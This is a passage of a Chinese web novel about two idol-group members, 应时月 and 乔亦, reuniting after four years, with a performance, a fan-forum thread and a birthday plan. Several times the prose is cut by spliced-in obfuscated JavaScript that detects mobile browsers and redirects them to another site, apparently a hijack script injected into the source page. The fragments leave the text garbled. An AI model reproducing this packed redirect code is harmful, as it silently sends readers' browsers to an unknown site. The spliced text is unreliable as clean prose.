应时月抬起头看他,久违地与他四目相对。 乔亦的神色中有笑意,有愉快,有一点点调侃混杂着狡黠。 ——也有应时月最想去寻找的笃定感。 于是他莫名就放下心来,就着乔亦伸出的手向前两步,将右手搭在他肩上。 乔亦手臂从他的膝盖下穿过,以和五年前完全一致的动作,将他抱了起来——下一瞬间,应时月感觉自己双脚离地,接着就本能般左手抓住乔亦的衣领,然后闭上了眼。 音乐声还在继续。 剧场的舞台不够奔跑,于是乔亦抱着他,开始跟着音乐的节奏点原地转圈。 台上的风声从应时月的耳畔飞驰而过。乔亦特地偏移了重心,于是应时月刚好能将脑袋靠在他肩头。 如此动作下,应时月甚至能听见乔亦有点加速的心跳——就如同五年前一般。 短短十几秒,应时月想到了很多事。 他想到当初的那个舞台,想到当初响彻整个大场馆的“时亦”的应援声,想到那时彼此同频震动的心跳声—— 想到排练时候的细枝末节碎片,想到当初熬夜设计舞台的无数个夜晚,想到他们充满希望和憧憬的十七岁。 他仿佛感觉,歌曲、伴奏、台下台上的起哄声,都在逐渐消失——这十几秒的时间,好像变得格外漫长。 ……他听明宸说过,在电影制作中有个类似的说法,叫“子弹时间”。 这一刻,他仿佛就身处于子弹时间之中。 脑海中闪过一幕幕旧时的场景。短暂的时间被不断拉长、不断延伸——长到能让他想完所有希望回忆的事,长到似乎想要竭力弥补他们之间的空缺的四年。 空缺的四年。应时月在心中重复了一遍这几个字。 或许是太多片段不断闪烁,他脑海中突然过电般想到一个念头—— 27. 十月 但十几秒也确实只是十几秒,应时月总归是没有超能力的。 也不能真正延长时间。 音乐停下的那一刻他才迟迟想起睁眼,接着就丝毫不出意外地与看着他的乔亦四目相对。 乔亦向着他目光的方向低了低头——也就在这一瞬间,应时月骤然有一种这人下一秒想要亲上来的错觉。 但也只是错觉。 他们当然在公演台上亲过,在链团的生态下,有粉丝起哄就什么都做得出来——这很正常,不然应时月也不会有这一瞬间的潜意识。 不过此时此刻,这显然只是乔亦想将他放下来,于是在转移重心时会产生的无意识小动作。 而应时月刚踩上地面,乔亦就很干脆地在台上坐了下来,仰着头看台上剩余六个人:“……最后一首你们跳吧,我已经不行了,我现在太虚了。” “前辈你还年轻呢,”唐言笑,“现在还不能虚的,我们可以把你抬起来继续。” “那也不是不行,”乔亦一副破罐子破摔的口气,“反正我现在就在这坐着,你们想怎样都行。” 应时月一扭头,就看到唐言在对他使眼色。 “小言你看我干什么啊,”应时月于是举起话筒说,“是觉得我去下手你作为提议的人就没有负罪感的吗?” “不然呢?”唐言继续笑,丝毫不掩饰自己想要看戏的心理,“十月前辈加油。” 话都这么说了,应时月于是放下手麦,转到乔亦身后试图从背后将他强行拉起来,倒是也没费什么力气——于是他这时候才后知后觉有点意外地发现,这人似乎,比四年前还轻了点。 也不算是不健康的暴瘦。但应时月对这种细微的变化非常敏感,于是时隔四年也能意识到其中差异。 最后一首歌就在这时候响起,仿佛是为了配合他们般临时切的,一首动作幅度很大的歌。 乔亦以一副虚弱的神色,被应时月两只手臂拖着站了起来,接着就很顺理成章般往后倒了倒,斜靠在了他怀里。 应时月有点无奈地叹了口气——而唐言很自然而然地过来凑热闹,拉了个小后辈一人拽着乔亦一只手开始跟着音乐比划动作。 “你们把我当什么气球人玩具吗,”乔亦完全不抗拒,任由着他们操纵,最后是忍不住笑了出来,“怎么我的形象在回来第一天就彻底消失了。” “那也不至于,”应时月调侃的声音从他斜后方传来,“你自己认真跳也好不到哪里去,别在后辈身上找理由。” 乔亦:“——十月你是不是太过分了啊!” 剩下三个小后辈就在一边给乔亦“伴舞”。 于是最后一首歌再没人认真跳——除了被认真跳的乔亦本人。这个环节也在台下的欢声笑语中结束。 * 后续还有一些舞台,乔亦不会再上场,但是最后的谢幕环节都会参加,所以也不会提前走人。 事实上,公演的剧场到他们住的宿舍楼有一段距离,每次结束后,大多数成员都会乘坐公司准备的大巴车一起回去。 不过乔亦倒是没准备跟着大家一起回去。 他给staff请了假,说是有私事,于是站在一边角落默默收着背包准备提前离开。 此时此刻的应时月和明宸,一同站在另一个角落收东西。 “十月你想说什么就过去说,”明宸在两分钟内看了应时月第五次,终于忍不住开口,“不要一直摆出一副欲言又止、想动又想等着他主动过来的表情——我敢保证,他现在绝对不会过来的。” “有那么夸张吗,”应时月这回真有点迷惑了,“我好像只是看了两眼吧?” “我多了解你,”明宸语气非常理所当然,“我不仅看到你看了他两眼,知道你有话想说,甚至还知道你想说什么——神奇吧?” “那倒也不神奇。”应时月很无奈地笑了笑,深吸一口气,终于下定决心,“那我过去问问他吧。” 说到底,“只谈工作”这个宗旨,本身就是他自己给自己设下的、一个无人在意的线。 况且又不是没违反过。 “怎么了,”注意到来人,乔亦拉上背包拉链,抬起头,“有什么需要我做的吗?” “没有什么需要你做的,你现在也做不了什么吧,”在身后好几个小后辈或躲躲闪闪或光明正大偷看的目光下,应时月压低音量说,“我只是想问一下你,过几天生日想要什么礼物?” 乔亦的生日是10月9日,就在三天之后。 正经的十月生日。 应时月还记得,刚给乔亦说自己名字来源时,这人还说:“你看,换个理解,这也可以是——你天生就应该和十月出生的人成为朋友,是吧?” “什么歪理邪说。”应时月当时说。 不过,平心而论,虽然“在十月出生”算不上什么小概率事件,但比起概率,他其实一度觉得,这事多少还是有点命中注定的感觉。 毕竟人总是喜欢特殊化自己周围发生的一切,应时月也不例外。 “啊?”此时此刻,听到这话的乔亦语气似乎有点意外,他愣了愣,才问,“什么都可以吗?” “当然不是什么都可以,”应时月笑了一声,“你让我给你转五百万的话,那我肯定是转不起的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532583|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “让我想想,”乔亦点点头,有一阵没说话,似乎是在思考,过了十几秒,他才抬起头,盯着应时月继续说,“……那你来陪我过零点吧,我到时候买个小蛋糕,可以一起吃——这个行吗?” 一个……应时月一开始完全没想过,但听到对方说出来,又觉得顺理成章的答案。 门口有staff过来,催促他们快点收拾。 “好。”于是应时月点点头,“我到时候提前一点过来——那我先走了,明天见?” “明天见,”乔亦对着他笑了笑,“十月哥哥。” 这回,应时月倒是没让他别这么喊了。 * 晚上回宿舍后,时间已经快十一点。 应时月进门放下包,没有像平时结束公演后那样,先换衣服、洗漱又或是刷链团专组,而是第一时间就走到书桌前,坐下来,按下电脑的开机键。 这还是刚刚在台上的灵光一闪。 他好像一直在思考乔亦离开的理由,反而忽略了一些最简单、直观的问题。 一个人消失四年能做什么? 如果是一般的普通人,那可能有无数种答案。 但这是应时月心中距离天才最近的普通人——十八岁的乔亦,根本不可能不在世界上留下任何痕迹,也根本不可能放弃自己最喜欢的东西。 应时月一边想着,一边不断按动鼠标,最终,花了十几分钟,终于找到了自己想要的页面。 ——答案简单到理所当然。 屏幕上一篇去年底发布于某地学类顶刊的论文,其上三个署名,排在第一位的名字是“QiaoYi”,小字部分的作者介绍,跟的是某个海外top高校,一看邮箱后缀就知道是学生。 乔亦刚上大学时曾经说过,他的下一步规划,就是去那个学校读博——这人说的时候,丝毫没有考虑过不被录取的可能。 虽说拼音重名的可能性并不算小,但如此巧合,应时月有理由相信,这绝对不是任何重名的人。 于是他将作者邮箱复制了一遍,打开自己某个无人知晓的邮箱小号,将其粘贴在收件人的位置。 接着他将光标停留在标题处,删删减减,试图写点什么,但最终,也一句话都没写出来。 ——我能说什么呢,又想要得到什么答案呢?应时月问自己,然后就发现,他根本解决不了这两个疑问。 那也就没有发这封邮件的理由。 有些问题,大概真的只能等本人亲口说。 应时月这样想着,叹了口气,最后还是关掉了邮箱页面,转手打开了论坛Link专组。 28. 队内聚餐 Link专组已然一片喧闹。 如今首页飘的大多是刚结束不久的L队公演的截图,夹杂着几条陆语心刚刚直播的内容的文字版播报。 应时月先是点进后者,发现是陆语心在说,想让cp粉替他们选猫的品种。 不知道是谁想出来的,既能解决问题还能卖腐的一箭双雕好办法——总之此刻楼里还真讨论上了建议。 于是应时月退了出来。 至于首页最热门的,还是一条,看时间是他们MC3刚开始那会发出来的帖子。 * 【主题】有人在看L队的MC3吗,没看速看 主楼:11同台,我已经预感到会有大事发生了 3L 我来了我来了,还在加载直播页面先给11点一首复婚进行曲 6L 现在有空的应该都在看吧,今天可是乔帝回归场,就算没有11也值得凑个热闹 11L 有这四年的新粉在吗,看01跳舞什么感想 14L 我是去年入坑的,我觉得也不是不能看,实话说比预期好,现在有些小后辈还不如他 17L 那也正常,毕竟小后辈前38都进不去,糊到无人在意,乔帝两届御三,要求不同 21L 又玩游戏… 27L 玩游戏不挺好,玩游戏才有无限可能 MC1已经聊过了,满意了,不需要那么多聊天 29L 10在队里多待了四年如今怎么玩游戏水平还不如前夫哥(指放水的水平 34L 十月一直都这样,根本学不会如何毫无痕迹地放水,大家都能看出来他在让 乔帝曾经真的骗到过我,要不是后来去那个智力综艺我真的一度觉得他只是个会考试的笨蛋 38L 回复29L:怎么前夫哥了,回看一下MC1还能说前夫哥吗 45L 这两个人台上的东西都别信 故意绕开前夫哥下场十月是什么心思观众也不是不懂 …… 223L 谁点的随机舞蹈,能不能来点有爆点的 229L 点歌一曲《夏日颂词》,控台看到了请速放 …… 365L 刚刚谁说的夏日颂词??还真来啊 369L 草,一哥听到前奏的第一反应是把剩下几个人往后拉,不愧是2.0时代的卖腐大师,实在是敏锐 11你们这不上收不了场了吧 376L 说到2.0,同台怎么感觉一哥和乔帝其实一点也不像 以前是谁说长得很像的,你不说我都忘了2.0这事了 383L 以前是真的有点,但是一哥那时候14现在18长开了不像了 乔帝22了还是14岁的脸 402L !!!震撼,01伸手了居然,还真想跳公主抱那一版啊 我以为播这首歌已经是上限了 408L 好好好,不愧是美帝1.0,说卖就卖,乔帝一回来就卖个大的 有些后辈学一下,别这么玩不起 423L 草,十月怎么还闭眼了,肌肉记忆了吗 431L 不仅闭眼了甚至还抓了领子,真的有肌肉记忆吧这也太顺手了 436L 不是什么叫玩得起,我觉得你们在预设他俩现在关系不好 439L 关系没问题的话十月MC1下台绝对不会绕路的,都当了八年偶像了自己的举动在传递什么信息这人可太清楚了 446L 关系没问题的话肯定会连站位的,11在这首歌响起来之前连肢体接触都没有过 465L 谁知道什么是演的呢 不过看到们11台上还是这么能卖我就放心了,十月明年总选有救了 * ——这倒是实话。 虽说这么说起来总归有些不好听,但即使抛开别的所有乱七八糟的后果,至少,乔亦一回来,他的总选排名是一定能上升的。 应时月翻了下微博。 经过刚刚那场公演,时亦cp超话一晚上进了六千人,放在Link的粉丝规模里说得上是盛况空前——他自己的个人超话也比平时热闹了不少。 这不就是我想要达到的目的之一吗? 应时月对自己说——这种意义下来看,如今正在发生的一切都说得上是成功的。 可惜他当然还有别的想法。 应时月觉得自己最近有点别扭过头,潜意识里想什么心中其实很清楚,但大抵还是因为乔亦的沉默——四年前的那一份,所以他在抗拒很多事。 抗拒直面内心,也抗拒探寻真相。 应时月想到这里,突然想起,乔亦今晚公演后请了假。 乔亦如今能有什么需要出去做的事吗?是和家里有关吗? 他们是初高中同学,在这座城市的朋友圈几乎重合——与应时月无关的那一部分,则基本是家庭相关。 应时月于是再度打开浏览器。 大公司的管理层变动都会被公示。 乔亦家的公司也不例外——这些按理来说摆在明面上的线索,在过去的四年里,应时月一次都没去探究过。 说到底是有点不敢,不敢面对虽然几率很小、但依旧可能事与愿违的、不好的答案。 而至少如今,乔亦本人好端端站在他眼前,看上去不算无事发生,但至少活着且会动——于是,在半生不熟般相处了两个星期后,应时月总算是想起来了,去探究这些事。 屏幕上显示的,首先是一条并不意外的,从乔亦父亲到哥哥的变动,发生在四年前;其次是一条他有点意外的,从乔亦哥哥,变到一个新名字,这条发生在去年底。 一个应时月没有听乔亦提到过的,陌生名字。 ——当初人间蒸发的事,会和家里有关吗? 如此变动背后,大概率是上一任的离世。按照血缘来说,如今理应的继承者当然是乔亦本人——那此时此刻坐在那个位置上的人,又是什么身份呢?乔亦为什么能好端端地在国外读书?他今晚会是去见那个陌生的名字吗? 应时月觉得自己大概摸到了一些边。 但更进一步的问题,他完全解答不了。 * 再一次遇到乔亦,则已经是第二天晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532584|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了。 他邀请了全L队吃饭,在市中心一家很贵的店里,订了一个两张桌子的房间。 应时月和他没坐一桌。 这倒是出于比较客观的原因。 乔亦请客的原因再明显不过。既然是为了与新朋友们结交,那他们这群早早与乔亦有交情的一三四期生,都非常自觉地坐到了另一桌去——连带着五期的唐言,也被本就不该出现在这张桌子上的陆语心拉了过来。 “我和小亦熟就等同于你和小亦熟,”陆语心在桌上转头对唐言说,“你别去打扰他身边的社交空位。” “哥哥,你这什么强盗逻辑啊。”唐言语气不满,但也安安稳稳坐了下来。 应时月一边吃饭,一边观察着另一桌的情况。 乔亦和那群小后辈聊得很愉快,有说有笑的,也不知道在说什么。 “好羡慕能轻松和别人处好关系的人啊,”林茗予吃着饭突然长叹一口气,“好想学习这种技能。” “队里大家不都挺喜欢你的吗,”看上去一直在隔壁说话的乔亦,居然能听到他们这桌发言,于是和小后辈们说了声便走了过来,“我刚刚和他们聊天,好多人都在说小予你的事。” “真的吗?”林茗予抬头看他,“说我什么了?” “说你看上去话不太多,但其实特别好相处,是个很好的人,”乔亦在他头上揉了揉,“最后还是我提醒他们,说我走的时候你已经来了,他们才想起来不用将每个人都介绍一遍。” 乔亦来都来了,自然开始顺便和这桌的小后辈们闲聊。 应时月低头吃鱼,沉默般听着他们聊天。 ——这家餐厅他以前来过几次,都是跟乔亦一起。 这是高消费场所。18岁之前,因为要给哥哥治病,所以应时月都没什么钱,自己是绝对不会来吃的——不过乔亦偶尔会请客带他过来,说是家里熟人的店,给了他打折卡,也不知是真是假。 如今,桌上的菜是大家轮流点的,一人选一盘,而乔亦点的就是如今眼前的这盘鱼。 是应时月曾经最常点的菜。 一晚上时间里,乔亦就在两边转来转去,陪大家说说笑笑。 应时月听着好几个小后辈的称呼,在一顿饭后就从“乔亦前辈”变成了“亦哥”或者“小亦”,多少又有点心情复杂起来。 ——一个完全让人讨厌不起来的,社交之神。 时隔八年,乔亦又在他这里拿到了如出一辙的评价。 * 饭快要吃完的时候,明宸出去接了个电话,说是要先行一步,剧组那边在这附近吃饭,可以顺便去见一面。 于是他一走,陆语心就顺理成章占据了明宸的位置,坐到了应时月边上——最后打车回去的时候,也自然而然拉上了他一辆车。 “我,小言,你,”陆语心想了想,“我们还能再拉一个人——要不然拉小亦过来吧,他一整晚都在和别人social,这时候该和我们聊几句了吧?” 应时月一口水喝到一半,差点被呛到。 “那好啊,刚好四个人,”乔亦听力好的人设倒是一直维持地很稳定,于是他转身走过来,一边走一边笑着回应道,“不过可能要晚点,得让小后辈们先回去。” “问题不大,”陆语心说,“那就这么定了。” 29. 洗衣液与抱枕 陆语心的回答太过于果断,于是应时月和唐言在这件事里都没有反驳的空间。 事情就这么定了下来。 星期六市中心不好打车,等小后辈们都各自坐车离开后,时间已经不算晚。由在场三位一期生外加现任队长留到最后,如今看起来也理所应当。 大概陆语心说的时候,其实多少是出于如此考虑,而非仅仅是抱着某种看热闹的心态。 虽说乔亦在场,应时月总是会不自觉忘记唐言如今的新任队长身份。 说起来,在总选过后的短短两周里,他发现自己和唐言的交集莫名其妙就多了起来——虽说作为同队队友,能做到四年都不熟,很大程度上也算是一种本事。 应时月漫无边际地想。 陆语心非常顺口地把唐言赶去了副驾位置,理由是“小朋友就应该坐第一排”。 “矮子才就应该坐第一排。”唐言一边听陆语心的安排坐上副驾驶,一边说。 应时月忍不住笑了出来,不知为何脑子里闪过“恶人自有恶人磨”几个大字——当然,指的是对他俩双向都是。 后排这边,坐到中间的是乔亦,这回陆语心的理由是“你是我们这里的核心成员”。 “现在这里,两个分队队长,一个八年成员,”乔亦笑着说,“我哪敢当核心成员呀。” “所以这不是用物理位置给你抬咖吗?”没想到陆语心居然还能接上。 接着大家开始聊天。 陆语心喜欢瞎说,但总归是有分寸的,至少没有问乔亦的动向,而是主要在聊Link这边这几年的事。 新规则,新制度,新成员,新变动,诸如此类。 “比如说前几年那谁,”说着说着就说到八卦上去,“私联结了婚的快四十岁的女粉拿了总选第一,总选第二天就被锤了,出来锤的还是那个粉丝的女儿——真的特别魔幻一件事,这也算是我们团的里程碑大事件了。” 魔幻到陆语心说到这里,出租车司机都扭头看了他们一眼。 “这就是十月你说的那个,”乔亦眨眼,手指戳了戳应时月,“四个小时上了十个热搜的人?” “你还记得啊,”应时月愣了一下,才想起自己确实说过这么句话,“对,就是他。” “十月你怎么还能做出讲八卦只讲一半这种恶人行径啊。”陆语心于是停下来声讨一句,这才继续他的队内八卦分享会。 说着说着又聊到了熟人身上。 “其实还有个事我一直没敢问,”乔亦顿了顿,继续说,“宸宸和小然怎么回事啊,怎么会闹崩的啊?” “你和十月练了好像不止一周的舞了吧,”陆语心语气很诧异,“你居然没有问过他吗?” “……我们主要是在工作,闲聊的机会比较少,”应时月突然有种巨大的心虚感,于是非常无力地解释一句,“况且我也不知道啊——这事根本不能提,一提就炸,问原因就转移话题,都看不懂发生了什么。” “好,十月已经说了,”陆语心扭头,对着乔亦说,“他说他不知道——这就是答案,我们也不知道。” “但我听说,”乔亦有点意外,于是又提问,“语心哥你因为站队小然,所以被宸宸单向拉黑了——你不知道你站什么队啊?” “……我现在说我是被冤枉的行吗,”陆语心叹了口气,“我甚至不知道为什么明宸觉得我在站队贺景然。” ——关于这件事,他们这个小团体几个人一直回避提到,如果不是乔亦问起,大概不会有正面聊到的机会。于是陆语心这头的说法,应时月也是第一次听到。 应时月从明宸那里听到的说法则是,在吵架的那几天里,陆语心时常出现在贺景然身边,却连续一周没有和他说过一句话。 “啊?我没见他是因为我准备生日公演太忙了,见贺景然是因为他那周在生病需要人看着,他们吵架我都是第二周才知道的啊?”陆语心听他说完,语气更诧异了,“你不知道这些是因为你在学校忙考试周没回来,明宸也不知道的吗?” 应时月摇摇头:“他不像知道。” “哎,行吧,”陆语心于是说,“那十月小亦你俩也别告诉他,我可不想承担有些人的愧疚。” “我以为你会说,”应时月说,“你们快告诉他,我要让明宸因为有愧于心然后给我补偿。” “如果有机会搞清楚当初发生了什么的话,”陆语心笑了出声,“那时候我可能会说这句话吧。” * 周六晚堵车严重,回到宿舍楼下的时候,时间已经快到十二点。 大多数房间都亮着灯,但楼道里已经变得很安静了——即使是今晚公演的K队成员,这个点也应该已经各自回了房间。 他们宿舍只有六层,刚好卡在可以不用装电梯的楼层数——于是理所当然地,确实没有装电梯。 四个人顺着楼梯向上。唐言和陆语心住应时月正下方的那个房间,到的时候,陆语心和两人说了声晚安,便拉着唐言提前拐了出去。 乔亦如今则住在顶楼——顶楼那边有一堆空房间,应时月不知道是哪一间,也一直没找到由头问他本人。 一开始确实在犹豫要不要和好,所以没问;后来再找机会问,就总觉得有种“你这么久了才想起来问是不是在欲盖弥彰”这样的意味在。 而此时此刻,两人便一前一后一起上楼,没有人主动说话。 一直到分别的时候,乔亦转过头,似乎准备开口——应时月都能想到他要说什么,索性就提前说话,截断了这人干脆的道别发言。 “……你换了个洗衣液吗?”他问。 刚刚在车上和乔亦挨着坐,应时月发现那个熟悉的桂花气味已经消失了,换成了一款更大众的、在队里随处可见的味道。 应时月脑子里想着这件事。这种场合下确实觉得应该说点什么,于是顺口就问了出来。 虽然话一说出口,应时月就开始后悔起来了—— 放在当下这样的场合,这句发言显然有点意味不明,甚至有些莫名其妙。 “嗯,对,我去买了个新的,”乔亦点点头说,“你不是不喜欢那个味道了吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532585|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 应时月一直觉得,自己身边总环绕着一群非常敏锐的人。 明宸是,陆语心是,乔亦更是——应时月仔细光速回忆了前几天发生的一切,非常确信自己没有提过一句和洗衣液相关的事,但这人偏偏就能猜到一切的根源,然后轻描淡写般说出来。 不刻意,甚至还很平淡,就像是应时月真的说过“不喜欢”那句话一样。 只是—— ……这个味道确实会让他想起很多伤心事,但无论如何,那些都不是坏事。应时月心想。 “我没有不喜欢,”应时月顿了顿,才说,“要不你还是换回去吧。” 他说完,才反应过来,自己今晚怎么一直在不恰当发言——乔亦本身也没有道理要按照自己的喜好行事,这句话有前半段就已经足够。 让他“换回去”,多少还是有点管太宽了。 “那好,我明天就换成之前那个,”倒是乔亦点点头说,“那我先上楼了,晚安十月。” “嗯,”应时月点头,“晚安。” 接着转过身,独自沿着那条熟悉的、走了八年的走廊前行。 * L队周日的公演又是晚场。 白天,应时月早起出了趟门,去市中心逛了玩具店,买了个巨大的小狗抱枕。 ——乔亦很喜欢大型毛绒玩具,这算是他为数不多的“物质爱好”。他们之前当室友的时候,床上始终被乔亦的两个大抱枕占据了大半空间,两个人每天晚上就挤在之间睡觉,倒也还挺有趣。 虽然乔亦本人没说,但既然答应了去给他过生日,总归还是该送点什么。 如果是十几岁的时候,这样逛街半小时就能买到的礼物,显然是有些不够格的——它更适合作为平时的礼物,而不是生日这样的场合。 应时月不过生日,但他会好好给身边人过生日。 那时候给乔亦的生日礼物,他一般都会手制一些实用且好看的小玩意——提前一个多月开始准备,自己结合网络照片改图纸,买材料,然后抽空制作。应时月的手工能力还不错,本科金工实习那会玩3D打印,他还做出过惊艳全年级的成品——这算是他大学四年里为数不多的高光时刻。 如今每年他们系金工实习,应时月那份都会被当成样本展示。 但此时此刻,他们的关系处在尴尬期,过于用心准备礼物,一方面是来不及,另一方面是总归会传递出一些……应时月如今并没有那么想传递的信号。 所以买点乔亦会喜欢的成品制品,就刚刚好。 倒是应时月还想了想,要不要自己赶工装个小装置进去,按一下就会唱生日歌那种——这也不难,可以去街上买那种会唱生日歌的小玩具拿回去拆。 不过一细想觉得有点诡异,最终也就放弃了这个想法。 他骑车从市中心回来,用不透明袋子将抱枕包裹着,小心翼翼避开人群回了宿舍。 坐回到桌前,才终于打开手机,给何乐发送一条消息。 十月: 【何姐,乔亦现在住哪个房间啊?】 30. 午间谈话 何乐秒回,打了个问号过来。 十月: 【?】 何乐: 【你为什么会不知道?】 【我以为你早该问过他本人了。】 十月: 【……忘了。】 何乐: 【607。】 【你要去给他过生日吗?】 ……怎么不管是谁都能猜到自己在想什么。 应时月深吸一口气,然后回复。 十月: 【嗯。】 之后他跟何乐说自己要出门,然后就退出聊天页面,下楼骑车去公司。下午L队组织了短合练,如今出发,刚好能先在食堂吃个午饭。 到食堂的时候,乔亦刚好也在,坐在角落的一张四人桌,应时月一眼就看到了他。 也看到了此刻坐在他对面的人——昨天他们才聊到的,贺景然。 贺景然有一阵没和他线下见面了。 最近这段时间,应时月主要和L队队友们待在一起,和明宸来往比较多,所以无可避免地就和贺景然减少了交集。 再加上K队公演和L队是错开的,因此两人只间歇性在网上聊聊天。 乔亦像是装了某种雷达一般,在应时月刚迈入食堂的那一刻,就转头看了过来。 而贺景然本能般和他一起转头,看到了来人,接着就对应时月招了招手,示意他也过去坐。 “这个人刚刚在找我问明宸的事,”应时月刚一坐下,乔亦就偏过头,看着他说,“我怎么感觉……你们给我提供的信息不太对呢?” 贺景然的手悬停在半空中。 在乔亦刚开口说出第一个音节时,他似乎有过打算阻止对方继续说下去的动作——但与此同时,乔亦向着应时月的方向拉了拉椅子。 于是贺景然没成功,应时月得以成功听完了乔亦的发言。 乔亦说完,他便看向贺景然,保持沉默,并等待这人主动开口交代。 “小亦在添油加醋,”贺景然想了想,接着用平静的语气控诉,“是他先在我面前提到那个人,说他很快要进一个新剧组,演的角色是一个刚刚大学毕业的设计师,所以我才顺口问了一句。” 这确实在应时月意料之外。 贺景然比他跟乔亦大一岁。但他在大城市出生,入学年龄卡很严,所以与应时月是同级,本科在应时月他们学校美院读的,学服装设计。 如果没有进入Link的话,如今的归宿,大概率就是成为刚大学毕业的新人设计师——这个角色微妙到太过于贴合,未来公开之时一定会被宸然的亡灵cp粉当糖大嗑特嗑。 明宸知道这样的未来,居然还接下了这个角色,这就很微妙了。 “……你为什么会知道?”不过更让应时月意外的是另一个问题,于是他转向乔亦——因为剧组保密需求,明宸尚且未曾给他透露过角色信息,那乔亦就更不应该会知道。 “原来十月你不知道啊,我就说你怎么不告诉我,”贺景然一听,也开始疑惑起来,“但他都没告诉十月的话,小亦你是从哪里听说的?” “明宸是不是给你说过,这是他师兄给他推荐的机会?”乔亦扭头,对着应时月笑了笑,“你知道他老师是谁,也肯定能猜到他说的师兄是谁——所以你们知不知道,N队今年四月来的那个小新人,是他那位师兄的亲弟弟?” 应时月与贺景然对视一眼,从彼此眼中读出了完全一致的茫然。 但是……实话说,在Link四个队里,L队暂且不提,I队有陆语心,K队有贺景然,应时月在N队几乎没有什么熟人,N队唯一的一期生和他们这个小圈子也交集不多——成长总是面临社交圈的改变和不可避免的走散,那位就是走散的代表。 而乔亦居然已经social到了N队新成员,并且了解到了这种程度的信息。 “还有不到半个月开机,哪有什么不能说的角色,只有不愿意说的人——明宸居然不愿意说角色信息,如此反常肯定有原因,所以我好奇了一下,”乔亦继续笑,这回是对着对面的两个人一起说的,“很多信息,只要真的很想去搜集,总归是能找到的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532586|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 应时月猛然抬头。 乔亦这段话,要说没有暗示什么,大概都不会有人相信——不过要说暗示,这又是什么意思呢?是他在指责四年前自己没有试图寻找过他吗? 但我应该受到这样的指责吗——被抛弃的人应该被追问,你为什么没有主动去追那个找不到的、抛弃你的人吗? 四年前的应时月也并非什么都没做。至少,他问过他能联系到的所有乔亦身边的人,只是一无所获。 如果当时的自己没有正处在失去唯一的亲人的痛苦余烬之中,大概那时候会再多做点什么。应时月心想。 但没有这样的如果,有的只是历经好几个月,终于从18岁冬天交错的悲痛、分离、学业压力和外务安排中挣脱出来,得以喘息之后,很多事在应时月心中都变得恍惚起来。 对这个人的各种情绪也在这些凌乱的事件中变纷乱复杂起来。它们层层堆叠,正面负面的彼此交织,如同一张密密麻麻的蜘蛛网,最终将应时月缠绕在了原地——于是他就此失去了去追逐的动力和勇气。 直到如今。 “我没有在指责你,应时月,”直到乔亦的声音,将他从回忆中拉了出来,这人喊的是少见的全名,让应时月又再度有些意外,“实际上,应该是你指责我,而我反而很感谢你当初并没有真的想要来找我——我只是……算了,没什么。” 乔亦说到一半又匆匆收回,最终只在应时月还带着疑问的目光中说了一句:“……对不起,是我说错话了。” 应时月深吸一口气,想说没关系,但顿了顿,没说出口。 “我们不如继续聊那位的事吧。”最终,贺景然在沉默中开口,非常强行用自己相关的事扯开话题,“你还问到关于电影的什么消息吗?” “你可以自己去加N队那位小后辈问,”乔亦说,“他愿意告诉我,是因为他曾经嗑过你们的cp,所以我相信——如果是你去问的话,他可能更想解答一点。” 乔亦话音落下,贺景然表情就更微妙了起来。 应时月则笑出了声。 31. “晚上好” 这顿饭吃得像是某种互戳痛处大奖赛。 半小时下来,桌上的三个人都主动或被动受到了真实伤害,无一幸免。 下午场是K队的公演。吃完午饭,贺景然要和现任队友一起坐公司的车去剧场,于是同两人先行道别。 应时月则和乔亦一起去楼上L队的练习室,两人一前一后在走廊里前行,都没有再说话。 在他们当初的五个半人组里——陆语心暂且算半个,贺景然是第一眼看上去最正经的人,但也是最爱经常冷不丁一句话就扫射全员的那个人。 被扫射的对象当然不会躺平接受,于是大家总会反击,最后就成了一种玩笑般的定律,有贺景然的地方就有互相伤害。 但话是这么说,所有人大概都是喜欢当时那种氛围的。 * 晚上结束公演回到宿舍,时间又快到11点。 因为还要赶零点的安排,于是应时月一通匆忙洗漱,收拾好又换了套常服,一看时间才十一点半,干脆就坐下来翻了翻论坛。 